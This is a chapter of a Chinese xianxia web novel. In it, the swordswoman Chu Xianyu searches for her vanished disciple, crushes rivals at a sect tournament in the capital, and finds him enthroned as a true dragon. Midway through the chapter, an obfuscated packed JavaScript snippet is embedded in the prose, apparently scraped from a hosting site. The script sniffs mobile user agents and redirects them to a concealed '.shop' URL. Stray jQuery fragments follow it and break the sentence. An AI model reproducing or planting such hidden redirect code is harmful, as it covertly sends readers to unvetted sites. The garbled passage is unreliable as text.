53. 醮会其八

作品:《谁说这野史假了[古穿今]

    楚衔玉想起来自己什么时候来过这座庙了,她来过的。


    前世,自在北蛮以卵击石强行挑衅雪狼神之后,她身受重伤修为大减,逆徒江栖渊当面背刺,让她的好二徒晏浮清当场变成了一具没有意识的活尸。楚衔玉当即要送徒弟投胎转世再修为人,空桑御兰不让,气得楚衔玉跟她大打一架。江栖渊竟然向着外人,不让她送晏浮清彻底归西,无意之中龙息灼伤了楚衔玉,险些让她的身体再度崩裂。


    轩辕军在空桑府外虎视眈眈,空桑州牧与许小锣一行人在空桑府外阻挡不住,差点让轩辕氏带着刀枪冲了进去,好在剑宗及时赶到,暂时稳住了局面。


    门外剑拔弩张,门内兵戎相见。


    剑锋铎作为中间人进来说和,不料碰到她们起了内讧,当即将几人制止。他先是稳住狂躁的活尸晏浮清,替空桑御兰疗伤,然后将抱着楚衔玉的江栖渊一掌推开,检查楚衔玉身体无恙之后才放下心来。


    “所有的事情都因你而起,你还要躲到何时?”剑锋铎罕见地对外人动了怒气,质问江栖渊,“你打算一直躲在女人后面吗?”


    江栖渊一夜之间身形已经接近成年体,抬起头来时,剑锋铎吓了一跳。


    楚衔玉当时尚存一丝意识,只记得一声长啸过后,江栖渊就化成龙形飞走了。


    后来她被带回了天剑山,一手创办、还没来得及将它发扬光大的辰虚宫被剑锋铎就地解散了。五徒儿江栖渊被仙盟通缉“畏罪潜逃”,挂名的四徒儿轩辕邑只在江州待了数天就回了上京,三徒儿路慕玄被遣散回了他那深藏不漏富可敌国的老家,二徒儿死了但没死全,成了仙盟最下等的活尸。


    只有大徒弟许小锣无处可去,剑锋铎给了他一大笔遣散费,足够普通人衣食无忧地生活一辈子,让他离开仙盟去寻个活计,不要再想修仙了。


    这些都是楚衔玉在天剑山昏迷三个月之后才知道的。


    醒来的她得知这些之后,什么都没说,在门前的银杏树下坐了三天三夜,想通了,人生本就不能事事如意,她强求不来。


    比如许小锣本就没有仙缘,她强行把人家带了进来,让人浮世幻梦一场,不知以后如何再去面对普通平凡的一生。晏浮清命数早该绝在当年的雪山上,若不是她刚愎自用将人从鬼门关拉了回来,如今也不会落得个人不人鬼不鬼无法解脱的下场。


    江栖渊......她迟疑了,唯有这件事她不知是对是错。


    也罢,她想,关老娘屁事。


    出乎意料的是,天剑山上下竟然没有一个人拿辰虚宫来嘲笑她。闻人珏为了避嫌没有亲自上门探望,遣人频繁送了书信和药物,顺道送来了其他人的消息,用语极其小心谨慎,搞得楚衔玉都怀疑她是不是打过他才让他说话这么小心翼翼。


    就连当时驻扎江州、那最是嘴嫌的轩辕绍都找借口来看过她几次,句句不敢提江州,楚衔玉都乐了。


    “真不至于。”她说。


    楚衔玉又恢复了打遍天剑山无敌手的混世魔王姿态,终于有一天突有所感,闭关修行了三年,其余人才从随时可能被师姐/师妹/师叔叫去切磋的惊恐中解脱出来。


    出关之时,她不仅恢复了从前的功力,还突破了剑心明彻第八重。


    若是现在对上雪狼神幻影,谁输谁赢还不一定呢。


    出关之后,楚衔玉就下山游历去了,没了辰虚宫宫主的虚名,只是天剑山楚仙师。


    说是游历,实则是去找江栖渊。兖州一别之后,江栖渊就没了消息,她不敢去问剑锋铎,私下偷偷打听过,是半点消息也无。


    不愿再将老友牵扯进来,她只好自己去找,说到底如今的局面都是她一手造成。


    途中寻过几处地方,最终都是希望落空。


    剑锋铎给她来了封信,说自己脱不开身,让楚衔玉替他去上京轩辕氏赴宴。


    彼时仙盟新出了几家后起之秀,不知是不是受了楚衔玉屠神失败的刺激,奢靡做作之风少了不少,又开始重视起修炼来,仙门之间兴起了斗法,让好多原本默默无闻的小门派开始崭露头角。


    各大仙门的格局开始在暗地里重新洗牌,天剑门虽稳坐老大哥交椅,但频繁的挑衅试探也让剑锋铎不胜其烦。


    正巧轩辕氏要举办百年一次的仙门朝晏,向所有有名有姓的门派都下了邀贴,也设了仙门比试的环节。剑锋铎特意将掌门邀贴转递给了当时在外游历的楚衔玉,让她稍稍出手震慑一番,好让那些在暗地里对天剑门蠢蠢欲动的仙门彻底偃旗息鼓。


    楚衔玉当然没有理由拒绝。


    一晃眼,仙门朝晏如期举行,她从千里之外的青州御剑到了上京。


    天剑门弟子早在她之前就到了,比试环节比正式的宴会提前两天,她到的时候,第一天的比试已经结束了。


    “你们天剑门的人都有病吧,比试而已,至于跟我们拼命吗?”平日里私交不错的其他门派弟子抱怨。


    “对不住兄台,我们也不想的,你不知道五年前我们楚师叔回了山门,见人就打的,谁打得过她啊?我们挨打,师父也挨打,师父挨了打气不过,又来打我们,不拼命真的会死人的,兄台理解一下,习惯了。”


    “真变态。”


    “对不住对不住,今天这顿咱们请了,各位兄台尽兴哈,尽兴。”


    楚衔玉刚坐下来讨口水喝,就忍不住把帽檐往下压了压。


    “师兄,你看那个人像不像楚师叔?”年龄最小的师弟问道。


    师兄喝大了,看都没看一眼,压下他的手:"别闹,掌门说楚师叔预计明天才能到呢,从青州到上京那么远,就是神仙都没那么快。"


    门口来了一个戴着帷帽的男人,脸被挡得严严实实,却依旧能看出非同一般的身姿和气质,让这个有些破旧的小店都平白添了几分光辉。


    楚衔玉抬眼看过去,觉得对方似乎也在看着她。若是以前,她高低是要上前试探一番的,如今却兴致缺缺。她把有龙的消息的地方都找遍了,还是找不到江栖渊的下落,他到底去了哪里?


    兴许还有一个地方没去,她忽然意识到,她已经好久没有回过江州了。


    想到这里,她没了吃饭的兴致,掏出几枚铜板放在桌上,出了小店。再抬起头时,门口的男人已经不见了。


    “师兄,我真觉得她就是咱们楚师叔,你看她的剑!”那小师弟不停扯着他师兄的衣袖。


    师兄终于回头看了一眼,酒都吓醒了。


    楚衔玉出了店门,门口有一个行乞的乞儿,天寒地冻,乞儿衣着单薄,手里捧着一个破碗,缩在墙角打哆嗦。


    楚衔玉路过时往他碗里扔了几块铜板。


    “师兄,咱们进去吧,认错人了。”小师弟道,“要是咱们小师叔,看这小儿可怜至此又有些仙缘,肯定会把他捡回去的。”


    师兄摇了摇头,神色有些复杂,开了开口,终归没有多说什么,只道回去之后给掌门送一封信。


    楚衔玉走出去很远,忽然又想起那行乞小儿的模样,感觉自己是不是忘了什么,浑身不得劲,只当是累了,找了一家客栈下榻。


    她没有去打扰天剑门弟子,只觉得独来独往也挺好的。


    次日的仙门比试,原本是不需要楚衔玉亲自上场的,这一辈的天剑门大师兄足够应付。奈何有些老匹夫不要脸面,悄悄使了些手段。


    楚衔玉只好亲自上台。


    “谁要挑战我?一起上吧?”楚衔玉漫不经心道。


    一上演武场,远处轩辕王殿里就有一道目光灼灼盯着她。


    楚衔玉久违地感受到了威胁,在两道拳风贴脸而至的时候,她下手没控制好力度,将台上的人全部都掀了出去。


    已经没有什么继续比试的必要了。


    看台上的人大多脸色铁青。


    “承让。”楚衔玉抱拳,扫了一眼看台上的老家伙们,论年龄,她跟演武场上比试的弟子们同辈,论辈分,她应该坐在看台上,论实力......不说也罢,免得那群人倚老卖老过来骂她。


    于是本该战况更加激烈的第二天比试就这么没滋没味地结束了,比预计结束时间早了半天。楚衔玉只觉得这日子过得越发无趣了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177622|182524||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,她甚至不如回天剑山接着闭关。


    “师兄,你是没看到那些人的脸色,笑死我了。谁让他们给你下药的,现在后悔了吧!”小师弟兴奋急了。


    师兄刚从茅房出来,脸色苍白,整个人已经拉虚脱了。


    闻言,却并没有高兴起来:“师弟,你真的不觉得楚师叔今天下手有些重了吗?”


    “下手重?以楚师叔的修为,那些人下台的时候几乎都没怎么受伤,这下手还重啊?”


    师兄叹气:“你不会当真以为以前在天剑山,我能在楚师叔手上过十几招吧?今天被楚师叔余波推下台的屠兄,昨日与我们一起喝酒的,你还记得吗,修为与我是不相上下的。按照楚师叔以往的性格,应该是先放水跟对方玩上个十来招,让对方以为自己有一战之力,然后一举摧毁心理防线。今日怎么,半招都没用上。”


    师兄表情复杂:“昨天的信送出去了吗?纸笔拿过来,我再写一封。”


    楚衔玉是不知道她的师侄已经开始担心起她来的,回了客栈就去睡了,最近总是疲乏得很。


    路上又遇到了那名小乞儿,给他碗里扔了几个铜板。


    终于到了宴会第三天,宴请结束之后,她就可以离开了。


    楚衔玉已经有些不耐烦了。


    从前她就不喜欢宴会场合,如今还是不喜欢。从前不喜欢是因为嫌仙门做作,聚在一起叽叽喳喳就喜欢嚼人舌根,光明正大地嚼就算了,非要道貌岸然地嚼,让她非常不舒服。现在不喜欢是因为,懒,自从突破剑心明彻第八重之后,她突然对很多事情失去了兴致。


    若不是剑宗千叮咛万嘱咐她一定要参加完宴会才能离开,她昨天就走了。


    结果在宴会上看见了江栖渊。


    不,烛渊。


    楚衔玉看到王殿主座上的人时,她愣住了,


    “如何,意外吗?”轩辕绍突然凑了过来,“我听说你在外面餐风露宿没日没夜找了他很久,生怕轩辕氏把他给杀了。现在看到他坐在那个位置上,什么感受?是会生气他骗了你、背叛你,还是可怜自己越剩越少的那一点真心都喂了狗?可惜啊,现在你高攀不起咯,我们都认错了,他不是什么灭世的妖龙,妖龙另有其人,他是真正的九天下界的真龙烛渊,天生神祇,我劝你还是不要自不量力了。”


    主座上一道深沉的目光投了过来,席下女仙师们都羞地低下来头。


    楚衔玉侧过头去,白了轩辕绍一眼:“轩辕邑抢了你两处兵权你怎么不去找他撒火,来我这里是嫌挨打没挨够?”


    轩辕绍的脸皮堪比城墙:“不劳楚仙师费心。”


    他顺带介绍起在座的其他宾客来:“你看那位仙娥,是当今仙盟第一美人。她旁边那位,重华宫掌门的独女,从小在花蕊里养大,不仅长得如花似玉千娇百媚,据说肌肤里都沁着花香。你再看她对面那个,你应该见过吧,青囊峰长老的小女儿,不仅医术高超,长相也是丝毫不逊色。还有几位,需要我一一介绍吗?”


    “你这么看着我做什么?”轩辕绍皱眉道,“我常年生活在军营里你又不是不知道,甚少接近女色。你猜我怎么会知道她们是谁,你又猜她们今日是来做什么的?”


    楚衔玉看着轩辕绍:“我倒没有怀疑你什么。人也看了,客套也讲完了,接下来的歌舞还要我一一欣赏吗?”


    “你...”轩辕绍看着楚衔玉脸色复杂。


    楚衔玉起身,直接走了。


    如今不需要去找江栖渊了,楚衔玉突然不知道该去哪。想了一想,还是打算先回江州看看。


    不必再担心自己慢人一步,楚衔玉索性背起行囊用双脚出了城。


    她走得很慢。


    上京下了雪,积雪落得厚厚一层,她一脚踩上去,脚踝直接陷了进去,鞋袜都湿了。楚衔玉没用灵力护体,手脚被冻得通红,自己却不觉得,反而故意踩上积雪厚的地方,听见积雪被压实的咯吱咯吱的声音,只觉得开心极了。


    天色暗了下来,她才刚出城门不远。


    风雪越来越大,楚衔玉便进了一间破庙躲避。